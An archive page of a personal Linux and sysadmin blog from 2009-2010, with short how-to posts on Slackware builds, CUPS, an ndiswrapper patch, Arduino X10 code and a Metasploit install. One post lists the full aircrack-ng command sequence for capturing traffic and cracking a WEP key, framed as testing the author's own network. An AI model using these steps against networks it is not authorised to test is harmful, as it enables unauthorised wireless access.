Sep 02 2010

windows xp BSOD Stop 0×0000007E

Category: documentation, helpful links, rants, winblozeben @ 5:40 pm

so after an architecture change of a client’s server’s pc during a disaster recovery middle of business day, i was forced to learn a lot about migrating windows xp install to and from intel and amd architectures.

i found the repair to be sufficient moving from amd to intel, but left me with a BSOD when going from intel to amd.

well like most microsoft problems, this error has a bajillion reasons as to why and finding pertinent information was difficult. i finally stumbled across this microsoft kb artice (http://support.microsoft.com/kb/953356) which instructed that when the repair cd was created via an image that was intel-based, it needs to have a registry key disabled in order to boot on amd.

fortunately, since even safe mode is not accessible during a half-complete repair, the kb article even documented how to disable the feature via the recovery console of an install cd

i cite the kb article here:

To work around this issue, run the recovery console by using the Windows XP CD. Then, select the recovery option. To run the Recovery Console from the Windows XP startup disk or from the Windows XP CD, follow these steps:

  1. Insert the Windows XP startup disk in the floppy disk drive. Or, insert the Windows XP CD in the CD drive. Then, restart the computer.

    Note If you are prompted, click to select any options that are required to start the computer from the CD drive.

  2. When the “Welcome to Setup” screen appears, press R to start the Recovery Console.
  3. If you have a dual-boot computer or a multiple-boot computer, select the installation that you want to access from the Recovery Console.
  4. When you are prompted, type the administrator password.

    Note Press ENTER if the administrator password is blank.

  5. At the Recovery Console command prompt, type the following command, and then press ENTER:
    disable intelppm
  6. To exit the Recovery Console and to restart the computer, type exit at the Recovery Console command prompt, and then press ENTER.


Jul 02 2010

remove stale locks vmware server 2

Category: documentation, quick hacksben @ 4:32 pm

so my virtual machine server went down in my office the other day, and the auto startup for a specific machine failed because there was a lock file present from before the power failure (time to replace my ups)

it was easy enough to fix by removing the folder located at:

/var/lib/vmware/Virtual\ Machines/{vm-name}/{vm-disk-file-name}.vmdk.lock/

for me the command was:

# rm -vfr /var/lib/vmware/Virtual\ Machines/nataile/natalie-hardDisk1.vmdk.lock/


Jul 01 2010

reparse and remount fstab

Category: documentation, quick hacksben @ 7:52 pm

after adding a  usb drive to fstab i reloaded it and remounted when needed using the following command:

# mount - a -o remount


Jun 10 2010

unpack multiple files at once using xargs

Category: documentation, quick hacks, scriptsben @ 12:55 pm

how to upack all tarball gunzips .tar.gz in a given directory at a time

ls *.tar.gz | xargs -t -I {} tar -zxvf  {}

*note: after the -t it is a -I as in -(capital)i

substitute your flavors at -zxvf and adjust file list at the ls command before the pipe


Mar 20 2010

compiling from source against 2.6.33

Category: documentation, quick hacksben @ 3:36 pm

i screwed up my slackware install on my laptop, did a reinstall, realized i installed 32-bit and decided to roll with it. everything i have gone to install out of the official tree has needed some patching due to the new kernel.

apparently the new kernel (2.6.33) no longer generates a file named /usr/src/`uname -r`/linux/autoconf.h and instead generates one named /usr/src/`uname -r`/generated/autoconf.h –> what this means to compiling from source is that all references to the linux/autoconf.h must be redirected to generated/autoconf.h

trust me that this is a major headache that isn’t very well documented yet


Mar 10 2010

remove files by date - bash

Category: documentation, quick hacks, scriptsben @ 5:14 pm

find /path/to/files/* -mtime +5 -exec rm {} \;

where +5=older than 5 days


Nov 21 2009

arduino, x10, buttons, and lcd

Category: documentation, hardware, scriptsben @ 10:50 pm

this code is one night old. more to come from it but it’s not much now:

#include <LiquidCrystal.h>
// initialize the library with the numbers of the interface pins
LiquidCrystal lcd(2, 3, 4, 5, 6, 7);
/*
brb 20091121
control 2 x10 devices (4 &2) via momentary switches on pins 10
and 12. x10 interface on pins 8 and 9 and a 16×2 lcd on 2, 3,
4, 5, 6, & 7. messages will be printed to the serial console and
to the lcd screen

hold down both buttons to shut all units off

*/
#include <x10.h>
#include <x10constants.h>

#define zcPin 8
#define dataPin 9

const int buttonPin2 = 10;
const int buttonPin = 12;     // the number of the pushbutton pin
const int ledPin =  13;      // the number of the LED pin
int buttonState = 0;
int buttonState2 = 0;         // variable for reading the pushbutton status
int buttoncount = 0;
int buttoncount2 = 0;
int resetcounterflag = 0;

// set up a new x10 instance:
x10 myHouse =  x10(zcPin, dataPin);

void setup() {
Serial.begin(9600);
// set up the LCD’s number of rows and columns:
lcd.begin(16, 2);
// Print a message to the LCD.
lcd.print(”poweredByCoffee”);
// initialize the LED pin as an output:
pinMode(ledPin, OUTPUT);
// initialize the pushbutton pin as an input:
pinMode(buttonPin, INPUT);
pinMode(buttonPin2, INPUT);
}

void loop() {
buttonState = digitalRead(buttonPin);
buttonState2 = digitalRead(buttonPin2);
// check if the pushbutton is pressed.
// if it is, the buttonState is HIGH:
if (buttonState == HIGH) {
delay(100);
if (buttonState2 == HIGH){
allUnitsOff();
}
else if (buttoncount == 0) {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”Desk OFF  “);
Serial.println(”Desk Light off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, UNIT_4, 1);
myHouse.write(A, OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
}
buttoncount++;
delay(200);
if (resetcounterflag == 1){
resetcounterflag = 0;
buttoncount=0;
buttoncount2=0;
}
}
if(buttoncount == 2){
digitalWrite(ledPin, HIGH);
buttoncount=0;
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”Desk ON   “);
Serial.println(”Desk Light on:”);
// send a “lights on” command to workbench light 1 time:
myHouse.write(A, UNIT_4, 1);
myHouse.write(A, ON, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
delay(200);
}
if (buttonState2 == HIGH) {
delay(100);
if (buttonState == HIGH){
allUnitsOff();
}
else if (buttoncount2 == 0) {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”LR OFF     “);
Serial.println(”Living Room off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, UNIT_2, 1);
myHouse.write(A, OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
}
buttoncount2++;
delay(200);
if (resetcounterflag == 1){
resetcounterflag = 0;
buttoncount=0;
buttoncount2=0;
}
}
if(buttoncount2 == 2){
digitalWrite(ledPin, HIGH);
buttoncount2=0;
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”LR ON      “);
Serial.println(”Living Room on:”);
// send a “lights on” command to workbench light 1 time:
myHouse.write(A, UNIT_2, 1);
myHouse.write(A, ON, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
delay(200);
}
//do nothing
lcd.setCursor(0, 1);
lcd.print(”  benduino x10″);
}

void allUnitsOff() {
digitalWrite(ledPin, LOW);
lcd.setCursor(0, 0);
// print the light status:
lcd.print(”ALL UNITS OFF”);
Serial.println(”All Units off:”);
// send a “lights off” command to workbench light 1 time:
myHouse.write(A, ALL_UNITS_OFF, 1);
lcd.setCursor(12, 0);
// print the number of seconds since reset:
lcd.print(millis()/1000);
resetcounterflag=1;
delay(100);
return;
}


Oct 25 2009

wep cracking with aircrack-ng

Category: documentation, hardware, quick hacks, scriptsben @ 8:58 pm

had to get a new usb adapter that was capable of inject and monitor modes. took a chance with a netgear usb wg111 at best buy, it happened to be ralink based (wg111v3). then i installed the aircrack-ng suite and began testing my network with the commands below

scan for available networks using card that can do injection
# iwlist wlan0 scan
start airmon-ng on the appropriate channel and interface
# airmon-ng start wlan0 6
do an injection test for good measure
# aireplay-ng -9 wlan0
do an injection test against target network
# aireplay-ng -9 -e {ssid here} -a {mac of ap here} wlan0
start the airodump *needs dedicated terminal or backgrounding of process
# airodump-ng -c 6 –bssid {mac of ap here} -w output wlan0
begin probe *needs dedicated terminal or backgrounding of process
# aireplay-ng -1 6 -e {essid here} -a {mac of ap here} -h {mac of associated client or own mac} wlan0
begin injection *needs dedicated terminal or backgrounding of process
# aireplay-ng -3 -b {mac of ap here} -h {mac of associated client or own mac} wlan0
begin cracking *needs dedicated terminal or backgrounding of process
# aircrack-ng -z -b {mac of ap here} output*.cap

just let those things run until it gives you the key

moral of the story: never use WEP


Oct 09 2009

fop 0.95 on slackware64

Category: documentation, helpful linksben @ 11:13 am

# slackpkg update

# slackpkg install jdk

# cd /usr/local/src

# wget http://archive.apache.org/dist/ant/source/apache-ant-1.6.5-src.tar.gz

# tar zxvf apache-ant-1.6.5-src.tar.gz

# cd apache-ant-1.6.5

#./build.sh

# cd ..

# wget http://apache.siamwebhosting.com/xmlgraphics/fop/source/fop-0.95-src.tar.gz

# tar zxvf fop-0.95-src.tar.gz

# cd fop-0.95

# /usr/local/src/apache-ant-1.6.5/dist/bin/ant

now you have a 64 bit fop…or you can download it here:

drunkensailor.org/software/fop-0.95-slackware64.tar.gz

i have my ant available here:

drunkensailor.org/software/ant-1.6.5-slackware64.tar.gz

*both of these are just meant to be unpacked where you want to run them from and require some funky or full paths. feel free to make a real slackware package and i’ll host it, but for now it’s just compiled binaries alongside the source.

**the ant package is not the most current version of ant(1.7.something) because it required JUnit.jar which i dont have or plan on having (not part of the official slackware jdk)


Sep 08 2009

slacklite mirror version 0.2

Category: documentation, scriptsben @ 9:54 pm

currently its at 0.2 and will undergo a complete overhaul to run with the aliens slackware mirror script as its base. its very primitive right now and requires manual checking of the changlog to know if it should be run. it also assumes a few directory paths that are documented in the readme, and assumes s local slackware mirror is available (also documented but untested change in readme that would not require a local mirror - involves changing one rsync command

all that being said it does seem to work and be downloaded from here: slacklite-mirror-0.2.tar.gz


Jul 17 2009

klogd it

Category: documentation, inspiration & quotes, moods, quick hacksben @ 2:34 pm

step one: ln -s /dev/null /thetoilet

step two: klogd > /thetoilet  2>&1

this is how you can clog the toilet with 2s and 1s


Jul 14 2009

remove files and folders by date

Category: documentation, quick hacks, scriptsben @ 8:00 pm

this is designed to delete files by date from the current directory….it was googles fault for providing “source” in a .deb with relative paths without being clear. plus it was my fault for not doing a test extract prior to doing a real one….pretty irrelevant but was needed to tidy up my /usr/local/src

by design will remove files dated 2008-11-07 from slackware’s ls -al …probably would be wise to trial run it by changing the xargs to an echo first ;-)

#ls -altrh |grep ‘2008-11-07′ |awk {’print $8′} |xargs rm -rfv


Jul 02 2009

qmail with ezmlm on openbsd

Category: documentation, helpful linksben @ 9:08 am

i wouldn’t suggest that anyone mimick mymethod here because i’m putting all of this into an openbsd virtual machine already configured with postfix, dovecot and a handful of other software (check out allardsoft for more info) but i’ll be putting up more info as i’m repeating my process and finding missing info

comp45.tgz –> compilation base set –> ftp://ftp.openbsd.org/pub/OpenBSD/4.5/i386/comp45.tgz

cd /
tar zxpf /path/to/file/comp45.tgz

daemontools daemontools-0.76.tar.gz daemontools home
ucspi-tcp ucspi-tcp-0.88.tar.gz ucspi-tcp home
qmail qmail-1.03.tar.gz qmail home


Jul 02 2009

openbsd basic info to remember

Category: documentationben @ 9:00 am

this will be expanded as my knowledge grows but for now i just need to be able to find this info again.

a package is a piece of software

a set is a series of software packages that speak together

to install a set after the initial install, simplly untar the *.tgz from the root directory while preserving permissions

# cd root

# tar zxvpf /path/to/set.tgz


Jun 11 2009

phpMyProxy - Simple, Straightforward and works

Category: documentation, helpful links, quick hacks, scriptsadmin @ 1:15 pm

When a routing issue in our datacenter arose today, as a temporary solution i whipped out a proxy install that was so basic i couldn’t mess it up (and i definitely was doing “unsupported” tweaks to the files). To embelish on the routing issue a little more: a local isp moved some equippment into the datacenter, now on the same level in the same pool as our servers, their clients could not reach our servers when entering the routes from very specific directions. a temp solution is now in place and they aren’t sure when the permanent solution will work…don’t blame me….nothing changed on my end.

http://www.drunkensailor.org/proxy/

www.phpmyproxy.com - i did have to register for the initial link, but since it’s open source here’s a link to my version’s tarball…(so much lighter!!!)


Jun 04 2009

CUPS useful commands

Category: documentation, helpful linksadmin @ 9:57 am

to add a MFC-8220 printer to CUPS v1.1.20 connected to a linksys print server via commandline:

#/usr/sbin/lpadmin -p xxxbrotherA -m BR8220_2_GPL.ppd -v lpd://192.168.xxx.5/P1 -E
***replace “xxx” with appropriate subnet
***get the PPD from openprinting.org http://openprinting.org/foomatic-db/db/source/PPD/Brother/BR8220_2_GPL.ppd

to list all currently installed printers:

# lpstat -v

to list all supported models:

# lpinfo -m

to test a PPD file for validity and compatility:

# cupstestppd /path/to/ppd


May 28 2009

ndiswrapper with linux kernel 2.6.29.2

Category: documentation, hardware, helpful links, quick hacksadmin @ 12:14 am

made the all too fatal yet all to common mistake of updating to slackware current fully and lost the ability to compile some of my favorite (virtualbox) and most used (ndiswrapper) software due too stricter code residing in the kernel. so all that aside, i HAVE to use ndiswrapper with mylow power lp-phy usb-like mini pci card…it sucks in short.

so with ndiswrapper not compiling i was giving up hope until i found this post –> read through to the last post by slh.. in it he shows a patch fix (which is pretty striaght forward to apply manually) and i have included below:

fix C syntax error and field name in conditional netdev ops struct,
triggering on kernel >= 2.6.29 and CONFIG_NET_POLL_CONTROLLER=y.

— a/driver/wrapndis.c
+++ b/driver/wrapndis.c
@@ -1744,7 +1744,7 @@ static const struct net_device_ops ndis_
.ndo_set_mac_address = ndis_set_mac_address,
.ndo_get_stats = ndis_get_stats,
#ifdef CONFIG_NET_POLL_CONTROLLER
- .poll_controller = ndis_poll_controller;
+ .ndo_poll_controller = ndis_poll_controller,
#endif
};
#endif


May 10 2009

gmail through sendmail

Category: documentation, helpful linksadmin @ 5:23 pm

first read this for a base understanding of the whys and hows

then read this for more specific instructions

i ignored everything about fetchmail as i was only interested in sending abilities, but carrying the step further should be no problem. i also recoomend building a secondary gmail account just in case the hashed file was to be compromised


May 10 2009

metasploit and network exploration

Category: documentation, helpful linksadmin @ 5:20 pm

it began as just looking into the toolsets used by the now-infamous BackTrack - a slax based live cd used for wireless network penetration testing - but knowing it was slackware based was all i needed to know that toolkits exist to add this functionality to my laptop. and the digging began….i’m only going to post findings and tools incrementally as i gain enough knowledge of them to answer at least the basic install and use questions.

and so i was brought to metasploit; an exploitation framework (probably for beginners like myself) used for penetration testing of workstations, servers, and network protocols. i found the installtion to be pretty straightforward, despite the fact that where i was looking the documentation was lacking (they probably assume that given a set of requirements the user figures out how to get there themselves).

for my vanilla slack-current, i was required to add in rubygems and then install rails:

#gem install -v=1.2.2 rails

at this point i unpacked the framework and launched the web-console (yes…pitiful to use the gui, but it was what i chose to do). i suggest getting to this point and seeing where the web interface takes you ;-)


Apr 29 2009

javascript form validation library

Category: documentation, helpful linksadmin @ 11:37 am

when it comes to form validation i get frustrated too quickly to sit there and reinvent the wheel every time. my solution has been made more simple than i would have asked: TMT Validation Library from www.massimocorner.com

so easy to install.

link to libs

add call into form

define types of validation on inputs.

i would reccomend this to a friend


Next Page »